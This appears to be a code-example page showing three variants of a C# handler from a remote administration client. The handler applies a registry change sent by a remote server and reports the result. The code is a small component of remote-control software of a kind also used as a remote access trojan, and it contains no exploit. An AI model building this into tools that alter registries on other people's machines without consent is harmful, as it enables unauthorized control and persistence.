private void Execute(ISender client, DoChangeRegistryValue message)
        {
            GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse();
            string errorMsg;

            try
            {
                responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg));
            }
            catch (Exception ex)
            {
                responsePacket.IsError = true;
                errorMsg = ex.Message;
            }
            responsePacket.ErrorMsg = errorMsg;
            responsePacket.KeyPath  = message.KeyPath;
            responsePacket.Value    = message.Value;

            client.Send(responsePacket);
        }
Beispiel #2
0
        public static void HandleChangeRegistryValue(xLightClient.Core.Packets.ServerPackets.DoChangeRegistryValue packet, Client client)
        {
            xLightClient.Core.Packets.ClientPackets.GetChangeRegistryValueResponse responsePacket = new Packets.ClientPackets.GetChangeRegistryValueResponse();
            string errorMsg = "";

            try
            {
                responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg));
            }
            catch (Exception ex)
            {
                responsePacket.IsError = true;
                errorMsg = ex.Message;
            }
            responsePacket.ErrorMsg = errorMsg;
            responsePacket.KeyPath  = packet.KeyPath;
            responsePacket.Value    = packet.Value;

            responsePacket.Execute(client);
        }
        public static void HandleChangeRegistryValue(DoChangeRegistryValue packet, Networking.Client client)
        {
            GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse();
            string errorMsg;

            try
            {
                responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg));
            }
            catch (Exception ex)
            {
                responsePacket.IsError = true;
                errorMsg = ex.Message;
            }
            responsePacket.ErrorMsg = errorMsg;
            responsePacket.KeyPath  = packet.KeyPath;
            responsePacket.Value    = packet.Value;

            client.Send(responsePacket);
        }